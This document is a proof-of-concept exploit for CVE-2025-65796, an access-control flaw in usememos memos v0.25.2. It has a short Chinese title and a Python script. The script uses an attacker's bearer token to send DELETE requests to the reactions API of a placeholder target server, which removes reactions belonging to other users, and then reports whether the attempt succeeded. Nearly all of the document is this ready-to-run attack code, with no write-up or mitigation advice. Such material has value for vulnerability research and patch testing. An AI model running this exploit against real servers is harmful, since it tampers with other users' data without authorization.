CVE-2025-65796: usememos memos v0.25.2 访问控制错误导致低权限用户可删除他人反应

# CVE-2025-65796 PoC - Unauthorized Reaction Deletion # Affected: usememos memos v0.25.2 # Attack Type: Incorrect Access Control import requests import json TARGET_HOST = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_REACTION_ID = "12345" # Target reaction ID to delete def delete_reaction(reaction_id, auth_token): """Delete a reaction by ID without ownership verification""" url = f"{TARGET_HOST}/api/v1/reactions/{reaction_id}" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } response = requests.delete(url, headers=headers) return response.status_code, response.text def exploit(): """Exploit the access control vulnerability""" print(f"[*] Targeting reaction ID: {TARGET_REACTION_ID}") print(f"[*] Attacker token: {ATTACKER_TOKEN[:20]}...") status, response = delete_reaction(TARGET_REACTION_ID, ATTACKER_TOKEN) if status == 200 or status == 204: print(f"[+] SUCCESS: Reaction {TARGET_REACTION_ID} deleted!") print(f"[+] Response: {response}") elif status == 401: print(f"[-] FAILED: Authentication required") elif status == 403: print(f"[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status {status}, Response: {response}") if __name__ == "__main__": exploit()